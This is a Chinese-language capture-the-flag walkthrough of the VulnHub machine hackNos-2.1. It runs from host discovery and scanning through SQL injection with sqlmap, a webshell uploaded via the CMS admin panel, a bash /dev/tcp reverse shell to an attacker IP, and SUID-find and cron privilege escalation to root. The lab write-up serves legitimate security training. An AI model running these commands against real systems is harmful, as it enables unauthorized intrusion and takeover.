1. 开局准备:Host-Only网络下如何挖出靶机真实IP
最近在整理VulnHub上适合练手的Linux靶机时,把0s-hackNos-2.1这台机器完整打了一遍。整体感受是:这台靶机对刚接触渗透测试、想建立完整攻击链路的人非常友好,难度不算高,但信息收集的细致程度会直接影响你后面的每一步。它不是那种让你一上来就交shell的简单靶机,也不是要你顶着内核提权死磕的硬骨头,它把“Web漏洞利用+Linux提权”串成了一条完整链路,正好用来验证自己平时积累的渗透思路。
先说环境。VulnHub上下载下来的镜像一般是.ova或.ovf格式,我习惯用VirtualBox导入,兼容性最省心。导入时有个小坑:如果你下载的是压缩包,先解压再双击.ova导入,别直接拖进VirtualBox;如果提示版本不兼容,选“保留配置”继续导入,之后再去调整网络适配器。
网络模式这里特别值得说清楚。很多初学者卡在“Kali和靶机互相ping不通”,通常不是靶机问题,而是网络模型没选对。VirtualBox常见的三种模式里,NAT模式下虚拟机能上外网,但宿主机和虚拟机之间默认不通,Kali想访问靶机还得做端口转发,非常别扭;桥接模式直接从物理路由器拿IP,看起来省事,但IP经常变,而且路由器本身可能隔离了客户端之间互访;真正适合靶机演练的是Host-Only(仅主机网络),虚拟机和宿主机在同一个虚拟网段,彼此互通,外网又访问不进来,完美符合封闭环境的打靶需求。
实际操作中,我会把Kali和靶机都挂在同一个Host-Only网段下,比如VirtualBox默认的192.168.56.0/24网段。两台机器都启动之后,先在Kali上确认自己的IP:
ip addr show然后扫描网段内存活主机:
sudo netdiscover -r 192.168.56.0/24或者用:
sudo arp-scan --localnetdiscover的输出会列出网段内的所有MAC和IP,靶机的MAC地址通常是厂商标识比较陌生的那一个,一眼就能认出来。我当时扫到的靶机IP是192.168.56.10,后面的所有操作都以它为目标。
这里有个经验:拿到IP之后,建议先ping一下确认连通性,如果ping不通,优先检查两台机器的网络适配器是否都在启用状态、MAC地址是否被VirtualBox重置过、Host-Only网段是否和虚拟机内部配置一致。VulnHub的Debian系靶机默认走DHCP,如果长时间拿不到地址,可以进系统手动配置静态IP,但通常不需要走到那一步。
2. 端口与指纹侦察:一次完整的nmap和目录爆破复盘
确认目标存活后,第二步永远是端口扫描。这台机器从外网暴露面上看,最核心的就是80端口和SSH端口,但我不建议只扫常用端口就开干。我的习惯是先做一次全端口扫描,哪怕慢一点,也要拿到完整暴露面:
sudo nmap -sS -sV -p- 192.168.56.10解释一下这几个参数:-sS是TCP半开扫描,速度快,不建立完整连接;-sV用来探测服务版本,这个对后续判断漏洞非常关键;-p-是扫全部门,1到65535都过一遍。如果嫌慢可以加--min-rate 2000,但太低的话本来可以触发的服务可能被漏掉。
扫描结果通常是这样:
| 端口 | 服务 | 版本 |
|---|---|---|
| 22/tcp | OpenSSH | 版本号省略 |
| 80/tcp | Apache HTTPD | 版本号省略 |
SSH端口暂时放在一边,Web端口一定是主战场。接下来我用whatweb识别Web指纹:
whatweb http://192.168.56.10它会返回服务器中间件、框架、CMS版本等信息。如果显示是一套PHP开发的内容管理系统,那么思路就该切换到CMS相关的漏洞挖掘上。如果指纹识别结果不够明确,就浏览器直接访问首页,按F12打开开发者工具,依次看三个地方:页面源码里的注释、响应头里的Server和X-Powered-By、robots.txt里有没有已经声明好的目录。很多靶机喜欢把线索藏在页面注释里,比如“这里暂时没有用到的备份文件”这种暗示,后面顺着路径猜就有惊喜。
目录扫描也是必须做的一步。Kali自带了不少字典,我常用的是:
gobuster dir -u http://192.168.56.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak -t 50-x php,txt,bak是我自己习惯加的后缀参数,因为PHP站点最常见的敏感泄露文件无非是备份文件.bak、配置样例.txt和入口文件.php。线程数用50就够了,太高容易把靶机Web服务压出超时误报。
目录扫描的输出里,重点留意/admin、/backup、/uploads这类路径。我当时扫描时发现了一个可疑的备份路径,下载下来直接拿到了数据库配置信息,里面包含了数据库用户名和密码。这也是一个常见套路:很多靶机把敏感配置留在备份文件里,只要能找到,后面就不用猜半天密码。
信息收集阶段的核心原则是“宁可多扫,不可少漏”。我在这个环节也踩过坑:曾经用了一个很小的常用目录字典,结果把真正藏有后台和备份文件的目录全跳过了,白白浪费了半小时。后来我养成了“medium字典打底、手工补充路径”的习惯,效率反而更高。
3. 数据库注入到CMS后台:拿下第一个立足点
目录扫描和源码分析之后,通常会在某个动态参数页面发现注入点。这台机器也不例外,在某个带id参数的URL上,我测试了经典的注入判断手法:
- 参数后加单引号,页面返回数据库语法错误;
- 加
and 1=1时页面正常,改成and 1=2时页面空白或内容变化; - 判断闭合方式是数字型还是字符型,再进一步确定注入点类型。
手工测试确认存在SQL注入后,直接用sqlmap做数据提取会更高效:
sqlmap -u "http://192.168.56.10/somepage.php?id=1" --batch --dbs这个命令能拿到当前数据库用户能访问的所有数据库名。不少初学者习惯一口闷直接拖裤,但我的习惯是先看库名,再定位业务相关库,避免一股脑全dump下来浪费时间。拿到业务库之后,依次列出表名、字段名,然后dump用户表的用户名和密码哈希:
sqlmap -u "http://192.168.56.10/somepage.php?id=1" --batch -D 库名 -T 用户表 --dump密码哈希的破解是个值得说一说的环节。先确认哈希格式,再决定用john还是hashcat。如果是常见的MD5格式,john直接跑很快;如果是bcrypt或sha512crypt这类慢哈希,就要有耐心,或者用常见密码字典先跑一遍。我的经验是:VulnHub靶机的密码一般不会设成超高强度,用的往往就是“常用口令+加点变形”的组合,字典中非常靠前的位置就可能跑出来。
拿到密码后,下一步是找入口。如果CMS后台登录页存在,直接用这组用户名密码登录;如果数据库里还有系统用户表,并且与22端口SSH服务对应,也可以直接尝试SSH登录。对于这台靶机来说,CMS管理员账号比SSH更直接,因为后台往往隐藏着上传点。
CMS后台的利用思路有很多,最经典的是找主题编辑、插件上传或媒体库上传的位置。只要后台允许上传PHP文件,就可以写入一段调用系统命令的PHP脚本作为命令执行通道。我不建议一上来就用重量级WebShell,轻量级、可验证的脚本更方便调试,拿到目标后再考虑升级交互Shell。
建立反向Shell这一步,我习惯先在攻击机Kali上开启监听:
nc -lvnp 4444然后在WebShell里执行:
bash -c 'bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'注意IP要换成攻击机的IP,端口要和监听的端口一致。反向Shell的原理是让靶机主动连回攻击机,这样能绕过部分出站限制。很多新手在WebShell里看到命令执行结果就以为自己拿到了Shell,实际上只是命令注入;真正顺手的是完整交互式Shell,因为后续提权时需要不断切换目录、执行交互命令。
拿到普通Shell后,第一时间做的事情是升级TTY,否则按Tab补全和历史命令都用不了:
python3 -c 'import pty;pty.spawn("/bin/bash")'然后按Ctrl+Z暂停当前进程,再输入:
stty raw -echo; fg这样就能得到一个相对好用的交互终端。这个细节看起来不起眼,但提权过程中会很影响操作效率。
4. SUID与定时任务排查:从www-data到root的最后一击
拿到一般Web权限后,先确认当前身份:
whoami id通常你会看到www-data,这是Web服务的默认账户,权限非常有限。接下来就是标准的本地提权信息收集流程,我按优先级依次排查:
uname -a看内核版本,判断有没有现成的内核提权EXP;cat /etc/os-release看发行版和版本号;sudo -l看当前用户能否免密执行某些命令;find / -perm -4000 2>/dev/null找SUID文件;crontab -l和cat /etc/crontab看定时任务。
这套流程里最容易出彩的是SUID排查命令。SUID权限意味着程序运行时会以文件属主的身份执行,如果发现某个属主为root的二进制文件本身又能执行命令,就相当于系统给了一个“临时root通行证”。比如常见的find命令就自带-exec参数,如果它的SUID位被设置,那么:
find / -exec whoami \;执行结果如果是root,就说明可以利用find直接执行任意命令。进一步地:
find / -exec /bin/sh -p \;就能进入root权限的Shell。这里的-p参数很关键,表示保持有效UID为root,否则许多Shell会主动把高权限降回去。
除了SUID,定时任务这条线也值得仔细看。查看/etc/crontab或/etc/cron.d/下的任务时,重点找“以root身份运行,但脚本路径却写在当前用户可写的目录里”这种情况。如果root定时执行了某个脚本,而脚本内容可以被www-data修改,那只要把脚本替换成反弹Shell或复制/bin/bash并设置SUID位,等待下一次定时触发,root权限就到手了。
这台机器我当时是先发现SUID异常,配合定时任务验证,最终在/root下拿到了最终的flag文件。拿到root之后,别忘了清理痕迹:删掉之前上传的WebShell、清理临时文件。虽然是打靶,但养成好习惯对以后做真实的授权测试很有帮助。
提权环节最大的误区是“一上来就找内核EXP”。内核提权风险高、成功率不稳定,真正的老手会先看配置类错误:SUID、sudo配置、定时任务、可写的配置文件、环境变量劫持、NFS共享等等。这些路径利用起来稳定,且不会因为内核版本不匹配直接炸掉整个靶机。
5. 打靶复盘:从这台hackNos-2.1总结出的通用打法
把整条攻击链路串起来看,就是:端口发现Web服务 → 目录扫描找到敏感备份 → 源码审计定位SQL注入点 → dump数据库拿到CMS后台账号 → 后台上传文件建立WebShell → 反向Shell拿普通权限 → SUID异常配合定时任务提权到root。每一步都依赖上一步的信息收集,没有哪一步是能凭空跳过去的。
针对VulnHub这类入门到中级的Linux靶机,我整理了几条比较通用的实战建议:
第一,信息收集别懒。全端口扫描、目录爆破、源码注释、备份文件,每一个环节都值得认真走一遍。很多靶机的核心入口就藏在一个不起眼的备份文件或目录里,漏了就卡住。
第二,CMS先识别版本,再决定下一步。扫描出来是什么框架就按什么框架的思路走,盲目试口令或猜路径效率很低。如果指纹识别不出来,就手动看首页HTML、响应头和JS引用路径。
第三,数据库里的账号密码多尝试复用。CMS后台、数据库、SSH、系统用户,可能在多个场景使用同一套密码,拿到一组凭据后先想“它还能用在哪儿”。
第四,提权路径有优先级。我的顺序永远是:sudo -l、SUID文件、定时任务、可写配置、内核EXP。前四类稳定可控,内核EXP留到实在没办法才考虑。
第五,全程保持记录的习惯。靶机IP、发现的路径、口令、关键输出都写到笔记里,不然中途断一下再回来,很容易忘记前面做到哪一步。
打这台机器最愉悦的地方是它不会逼你记一堆冷门EXP,而是让你把Web渗透和Linux提权的基本功重新捋了一遍。对基础比较扎实的人来说,可能两小时就能通;但如果你是第一次完整走通这条链路,我强烈建议每个步骤都手工做一遍,别只靠sqlmap一把梭,也别遇到反弹Shell就直接复制粘贴。把原理吃透,换到真实项目中遇到形态略微变化的目标,你才知道应该从哪里下手。